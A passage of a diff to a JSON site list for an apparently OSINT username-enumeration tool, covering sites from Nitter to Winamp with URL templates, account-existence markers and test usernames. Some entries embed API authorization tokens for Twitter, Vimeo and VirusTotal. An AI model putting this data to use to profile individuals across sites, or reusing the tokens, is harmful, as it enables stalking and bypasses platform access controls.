    " + ], + "mirrors": [ + "https://nitter.42l.fr/", + "https://nitter.1d4.us/", + "https://nitter.kavin.rocks/" + ], + "source": "Twitter", + "alexaRank": 48, + "urlMain": "https://nitter.net/", + "url": "{urlMain}{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould123", + "disabled": true + }, + "Twitter": { + "tags": [ + "messaging" + ], + "headers": { + "sec-ch-ua": "Google Chrome\";v=\"87\", \" Not;A Brand\";v=\"99\", \"Chromium\";v=\"87\"", + "authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA", + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", + "x-guest-token": "1411741418192883712" + }, + "errors": { + "Bad guest token": "x-guest-token update required" + }, + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "activation": { + "method": "twitter", + "marks": [ + "Bad guest token." + ], + "url": "https://api.twitter.com/1.1/guest/activate.json", + "src": "guest_token", + "dst": "x-guest-token" + }, + "urlProbe": "https://twitter.com/i/api/graphql/ZRnOhhXPwue_JGILb9TNug/UserByScreenName?variables=%7B%22screen_name%22%3A%22{username}%22%2C%22withHighlightedLabel%22%3Atrue%7D", + "checkType": "message", + "absenceStrs": [ + " not found" + ], + "alexaRank": 48, + "urlMain": "https://www.twitter.com/", + "url": "https://twitter.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould123" + }, + "Twpro.jp": { + "checkType": "message", + "absenceStrs": [ + "\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002" + ], + "presenseStrs": [ + "\u304a\u3068\u306a\u308a\u3055\u3093" + ], + "url": "https://twpro.jp/{username}", + "usernameClaimed": "wsise47", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Typeracer": { + "tags": [ + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "Profile Not Found" + ], + "alexaRank": 7138, + "urlMain": "https://typeracer.com", + "url": "https://data.typeracer.com/pit/profile?user={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "UMHOOPS": { + "tags": [ + "forum", + "sport", + "us" + ], + "engine": "Discourse", + "alexaRank": 332635, + "urlMain": "https://forum.umhoops.com", + "usernameClaimed": "umhoops", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uaksu": { + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d" + ], + "alexaRank": 4001287, + "urlMain": "https://uaksu.forum24.ru/", + "url": "https://uaksu.forum24.ru/?32-{username}", + "usernameClaimed": "nikita", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ubisoft": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 2563, + "urlMain": "https://forums-ru.ubisoft.com/", + "url": "https://forums-ru.ubisoft.com/member.php/?username={username}", + "usernameClaimed": "MrNardred", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uchportal": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 24339, + "urlMain": "https://www.uchportal.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ucoz": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 554708, + "urlMain": "https://forum.ucoz.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Udemy": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 131, + "urlMain": "https://www.udemy.com", + "url": "https://www.udemy.com/user/{username}/", + "usernameClaimed": "adammortimer", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ultimate-Guitar": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 654, + "urlMain": "https://ultimate-guitar.com/", + "url": "https://ultimate-guitar.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ultrasdiary.pl": { + "checkType": "message", + "absenceStrs": [ + "UltrasDiary – Pami\u0119tnik Kibica" + ], + "presenseStrs": [ + "Mecze wyjazdowe:" + ], + "url": "https://ultrasdiary.pl/u/{username}/", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ulub.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona nie istnieje." + ], + "presenseStrs": [ + "Muzyka (" + ], + "url": "http://ulub.pl/profil/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Unsplash": { + "tags": [ + "art", + "photo" + ], + "checkType": "status_code", + "alexaRank": 376, + "urlMain": "https://unsplash.com/", + "url": "https://unsplash.com/@{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Untappd": { + "tags": [ + "geosocial", + "networking", + "us" + ], + "checkType": "status_code", + "alexaRank": 24015, + "urlMain": "https://untappd.com", + "url": "https://untappd.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Usa.life": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "presenseStrs": [ + "Please log in to like, share and comment" + ], + "url": "https://usa.life/{username}", + "usernameClaimed": "not1face", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ustream": { + "tags": [ + "eg", + "us" + ], + "checkType": "status_code", + "alexaRank": 165667, + "urlMain": "http://www.ustream.tv", + "url": "http://www.ustream.tv/channel/adam{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uvelir": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 3038429, + "urlMain": "https://uvelir.net/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uwr1": { + "tags": [ + "de" + ], + "checkType": "status_code", + "urlMain": "http://uwr1.de", + "url": "http://uwr1.de/forum/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2712529 + }, + "VC.ru": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + ], + "alexaRank": 2408, + "urlMain": "https://vc.ru", + "url": "https://vc.ru/search/v2/subsite/relevant?query={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Viddler": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "profile-details" + ], + "url": "https://www.viddler.com/channel/{username}/", + "usernameClaimed": "planphilly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vine": { + "checkType": "message", + "absenceStrs": [ + "That record does not exist" + ], + "presenseStrs": [ + "userId" + ], + "url": "https://vine.co/api/users/profiles/vanity/{username}", + "usernameClaimed": "Seks", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vizjer.pl": { + "checkType": "message", + "absenceStrs": [ + "Ostatnie komentarze" + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://vizjer.pl/uzytkownik/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VK": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "regexCheck": "^(?!id\\d)\\w*$", + "alexaRank": 27, + "urlMain": "https://vk.com/", + "url": "https://vk.com/{username}", + "usernameClaimed": "smith", + "usernameUnclaimed": "blah62831" + }, + "VK (by id)": { + "tags": [ + "ru" + ], + "type": "vk_id", + "checkType": "response_url", + "alexaRank": 27, + "urlMain": "https://vk.com/", + "regexCheck": "^\\d+$", + "url": "https://vk.com/id{username}", + "source": "VK", + "usernameClaimed": "270433952", + "usernameUnclaimed": "2131232" + }, + "VKFaces": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 32067, + "urlMain": "https://vkfaces.com", + "url": "https://vkfaces.com/vk/user/{username}", + "source": "VK", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "VKMOnline": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 62559, + "urlMain": "http://forums.vkmonline.com", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VKruguDruzei": { + "tags": [ + "by", + "ru" + ], + "checkType": "response_url", + "alexaRank": 240272, + "urlMain": "http://vkrugudruzei.ru", + "url": "http://{username}.vkrugudruzei.ru/x/blog/all/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Voice123": { + "checkType": "message", + "absenceStrs": [ + ">[]" + ], + "presenseStrs": [ + "user_id" + ], + "url": "https://voice123.com/api/providers/search/{username}", + "usernameClaimed": "maheshsaha1992", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VSCO": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6244, + "urlMain": "https://vsco.co/", + "url": "https://vsco.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vamber": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 263174, + "urlMain": "https://vamber.ru", + "url": "https://vamber.ru/author/{username}/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vapenews": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 404" + ], + "presenseStrs": [ + "\u041b\u0438\u0447\u043d\u043e\u0435" + ], + "alexaRank": 981151, + "urlMain": "https://vapenews.ru/", + "url": "https://vapenews.ru/profile/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "VegasCreativeSoftware": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "VEGAS Community" + ], + "urlMain": "https://www.vegascreativesoftware.info", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 162065 + }, + "Velomania": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 143862, + "urlMain": "https://forum.velomania.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Venmo": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 3795, + "urlMain": "https://venmo.com/", + "url": "https://venmo.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vero": { + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Error Page - VERO\u2122 \u2013 True Social" + ], + "alexaRank": 97361, + "urlMain": "https://vero.co", + "url": "https://vero.co/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vezha": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "alexaRank": 1949047, + "urlMain": "https://vezha.com/", + "url": "https://vezha.com/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vgtimes/Games": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 17926, + "urlMain": "https://vgtimes.ru", + "url": "https://vgtimes.ru/games/{username}/forum/", + "usernameClaimed": "rfactor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VideogameGeek": { + "ignore403": true, + "tags": [ + "gaming", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist" + ], + "alexaRank": 817462, + "urlMain": "https://videogamegeek.com", + "url": "https://videogamegeek.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Videosift": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 146177, + "urlMain": "https://videosift.com", + "url": "https://videosift.com/member/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vimeo": { + "tags": [ + "video" + ], + "activation": { + "url": "https://vimeo.com/_rv/viewer", + "marks": [ + "Something strange occurred. Please get in touch" + ], + "method": "vimeo" + }, + "headers": { + "Authorization": "jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQxMTc1NDAsInVzZXJfaWQiOm51bGwsImFwcF9pZCI6NTg0NzksInNjb3BlcyI6InB1YmxpYyIsInRlYW1fdXNlcl9pZCI6bnVsbCwianRpIjoiNDc4Y2ZhZGUtZjI0Yy00MDVkLTliYWItN2RlNGEzNGM4MzI5In0.guN7Fg8dqq7EYdckrJ-6Rdkj_5MOl6FaC4YUSOceDpU" + }, + "urlProbe": "https://api.vimeo.com/users/{username}?fields=name%2Cgender%2Cbio%2Curi%2Clink%2Cbackground_video%2Clocation_details%2Cpictures%2Cverified%2Cmetadata.public_videos.total%2Cavailable_for_hire%2Ccan_work_remotely%2Cmetadata.connections.videos.total%2Cmetadata.connections.albums.total%2Cmetadata.connections.followers.total%2Cmetadata.connections.following.total%2Cmetadata.public_videos.total%2Cmetadata.connections.vimeo_experts.is_enrolled%2Ctotal_collection_count%2Ccreated_time%2Cprofile_preferences%2Cmembership%2Cclients%2Cskills%2Cproject_types%2Crates%2Ccategories%2Cis_expert%2Cprofile_discovery%2Cwebsites%2Ccontact_emails&fetch_user_profile=1", + "checkType": "status_code", + "alexaRank": 148, + "urlMain": "https://vimeo.com", + "url": "https://vimeo.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "smbepezbrg" + }, + "Virgool": { + "disabled": true, + "tags": [ + "blog", + "ir" + ], + "checkType": "status_code", + "absenceStrs": [ + "\u06f4\u06f0\u06f4" + ], + "alexaRank": 1457, + "urlMain": "https://virgool.io/", + "url": "https://virgool.io/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VirtualIreland": { + "tags": [ + "forum", + "ie", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 217316, + "urlMain": "https://www.virtualireland.ru", + "usernameClaimed": "Lee", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VirusTotal": { + "disabled": true, + "tags": [ + "in" + ], + "headers": { + "accept-language": "en-US,en;q=0.9,es;q=0.8", + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", + "x-tool": "vt-ui-main", + "x-vt-anti-abuse-header": "MTM0NTMxNTA3MTItWkc5dWRDQmlaU0JsZG1scy0xNjA3NDMzMzM3LjI3MQ==" + }, + "errors": { + "RecaptchaRequiredError": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "not found" + ], + "alexaRank": 5140, + "urlMain": "https://www.virustotal.com/", + "url": "https://www.virustotal.com/ui/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VitalFootball": { + "tags": [ + "forum", + "gb", + "in", + "pk" + ], + "engine": "XenForo", + "alexaRank": 756177, + "urlMain": "https://forums.vitalfootball.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vivino": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 10337, + "urlMain": "https://www.vivino.com/", + "url": "https://www.vivino.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vlmi": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 765896, + "urlMain": "https://vlmi.biz", + "usernameClaimed": "mixa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Voices": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 17303, + "urlMain": "https://www.voices.com/", + "url": "https://www.voices.com/actors/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Voicesevas": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 202518, + "urlMain": "http://voicesevas.ru", + "url": "http://voicesevas.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volgograd Forum": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 180115, + "urlMain": "https://www.forum-volgograd.ru", + "usernameClaimed": "kajuga", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volgogradru": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + ], + "alexaRank": 1570931, + "urlMain": "http://www.volgogradru.com", + "url": "http://www.volgogradru.com/users/{username}/", + "usernameClaimed": "rezook", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volkodavcaoko": { + "tags": [ + "forum", + "kz", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 790771, + "urlMain": "https://volkodavcaoko.forum24.ru", + "url": "https://volkodavcaoko.forum24.ru/?32-{username}", + "usernameClaimed": "itaka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Votetags": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + " looking for. Perhaps searching can help.", + "", + "Page not found" + ], + "alexaRank": 39522, + "urlMain": "https://www.votetags.info/", + "url": "https://www.votetags.info/author/{username}/", + "usernameClaimed": "danphillip", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vsemayki": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 38002, + "urlMain": "https://www.vsemayki.ru/", + "url": "https://www.vsemayki.ru/designer/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Vxzone": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 147726, + "urlMain": "https://www.vxzone.com", + "url": "https://www.vxzone.com/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W3challs": { + "tags": [ + "tn", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>404 Page not found \u2013 W3Challs Hacking Challenges" + ], + "alexaRank": 641078, + "urlMain": "https://w3challs.com/", + "url": "https://w3challs.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W3Schools": { + "tags": [ + "education", + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.w3schools.com/", + "url": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{username}", + "usernameClaimed": "rly0nheart", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W7forums": { + "engine": "XenForo", + "alexaRank": 594741, + "urlMain": "https://www.w7forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "WOW Circle": { + "tags": [ + "forum", + "it", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 74356, + "urlMain": "https://forum.wowcircle.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wakatime": { + "tags": [ + "ng", + "ve" + ], + "checkType": "status_code", + "alexaRank": 43749, + "urlMain": "https://wakatime.com", + "url": "https://wakatime.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wanelo": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 29466, + "urlMain": "https://wanelo.co/adam", + "url": "https://wanelo.co/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warface": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://wf.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warhammergames": { + "disabled": true, + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 1175634, + "urlMain": "https://warhammergames.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warrior Forum": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 2772, + "urlMain": "https://www.warriorforum.com/", + "url": "https://www.warriorforum.com/members/{username}.html", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Watchmemore.com": { + "checkType": "message", + "absenceStrs": [ + "notExists" + ], + "presenseStrs": [ + "displayName" + ], + "url": "https://api.watchmemore.com/api3/profile/{username}/", + "usernameClaimed": "medroxy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wattpad": { + "tags": [ + "reading", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "userError-404" + ], + "alexaRank": 805, + "urlMain": "https://www.wattpad.com/", + "url": "https://www.wattpad.com/user/{username}", + "usernameClaimed": "Dogstho7951", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Waveapps": { + "disabled": true, + "tags": [ + "ca", + "us" + ], + "checkType": "status_code", + "alexaRank": 2044, + "urlMain": "https://community.waveapps.com", + "url": "https://community.waveapps.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Waypoint": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://forum.waypoint.vice.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1734, + "disabled": true + }, + "Waytothelight": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://waytothelight.mybb.ru/", + "url": "https://waytothelight.mybb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "lana", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 40212 + }, + "We Heart It": { + "disabled": true, + "tags": [ + "blog", + "in", + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "Oops! You've landed on a moving target!" + ], + "alexaRank": 4097, + "urlMain": "https://weheartit.com/", + "url": "https://weheartit.com/{username}", + "usernameClaimed": "ventivogue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weasyl": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 314161, + "urlMain": "https://www.weasyl.com", + "url": "https://www.weasyl.com/~{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WebNode": { + "tags": [ + "cz", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 46908, + "urlMain": "https://www.webnode.cz/", + "url": "https://{username}.webnode.cz/", + "usernameClaimed": "radkabalcarova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weblancer": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "response_url", + "alexaRank": 35189, + "urlMain": "https://www.weblancer.net", + "url": "https://www.weblancer.net/users/{username}/", + "usernameClaimed": "alraa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weburg": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "»," + ], + "alexaRank": 167944, + "urlMain": "https://weburg.net", + "url": "https://weburg.net/search?where=10&search=1&q={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weedmaps": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Find Marijuana Dispensaries, Brands" + ], + "alexaRank": 7929, + "urlMain": "https://weedmaps.com", + "url": "https://weedmaps.com/brands/{username}", + "usernameClaimed": "adams", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 3611, + "urlMain": "https://www.weforum.org", + "url": "https://www.weforum.org/people/{username}", + "usernameClaimed": "adam-leismark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wego.social": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found!" + ], + "presenseStrs": [ + "Following</span>" + ], + "url": "https://wego.social/{username}", + "usernameClaimed": "Lisa_M_S", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weld": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 3040233, + "urlMain": "https://weld.in.ua", + "url": "https://weld.in.ua/forum/member.php/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Whonix Forum": { + "tags": [ + "forum", + "in", + "ir", + "tech", + "us" + ], + "engine": "Discourse", + "alexaRank": 254571, + "urlMain": "https://forums.whonix.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Whyislam": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 905247, + "urlMain": "https://www.whyislam.to", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WicgForum": { + "checkType": "message", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "absenceStrs": [ + "<title>WICG" + ], + "presenseStrs": [ + " Profile -" + ], + "url": "https://discourse.wicg.io/u/{username}/summary", + "usernameClaimed": "stefano", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Wiki.vg": { + "checkType": "status_code", + "url": "https://wiki.vg/User:{username}", + "usernameClaimed": "Auri", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wikidot": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist." + ], + "presenseStrs": [ + "Wikidot user since" + ], + "alexaRank": 3805, + "urlMain": "http://www.wikidot.com/", + "url": "http://www.wikidot.com/user:info/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WikimapiaProfile": { + "tags": [ + "maps", + "ru" + ], + "type": "wikimapia_uid", + "checkType": "message", + "absenceStrs": [ + "January 01, 1970" + ], + "alexaRank": 8581, + "urlMain": "http://wikimapia.org", + "url": "http://wikimapia.org/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "WikimapiaSearch": { + "tags": [ + "maps", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<td>20</td>" + ], + "alexaRank": 8581, + "urlMain": "http://wikimapia.org", + "url": "http://wikimapia.org/user/tools/users_rating/?username={username}", + "caseSentitive": true, + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Wikipedia": { + "tags": [ + "wiki" + ], + "checkType": "message", + "absenceStrs": [ + "is not registered", + "Wikipedia does not have a" + ], + "alexaRank": 12, + "urlMain": "https://www.wikipedia.org/", + "url": "https://www.wikipedia.org/wiki/User:{username}", + "usernameClaimed": "Hoadlck", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WimkinPublicProfile": { + "checkType": "message", + "absenceStrs": [ + " The page you are looking for cannot be found." + ], + "presenseStrs": [ + "is on WIMKIN" + ], + "url": "https://wimkin.com/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Winamp": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 52948, + "urlMain": "http://forums.winamp.com", + "usernameClaimed": "red", + "usernameUnclaimed": 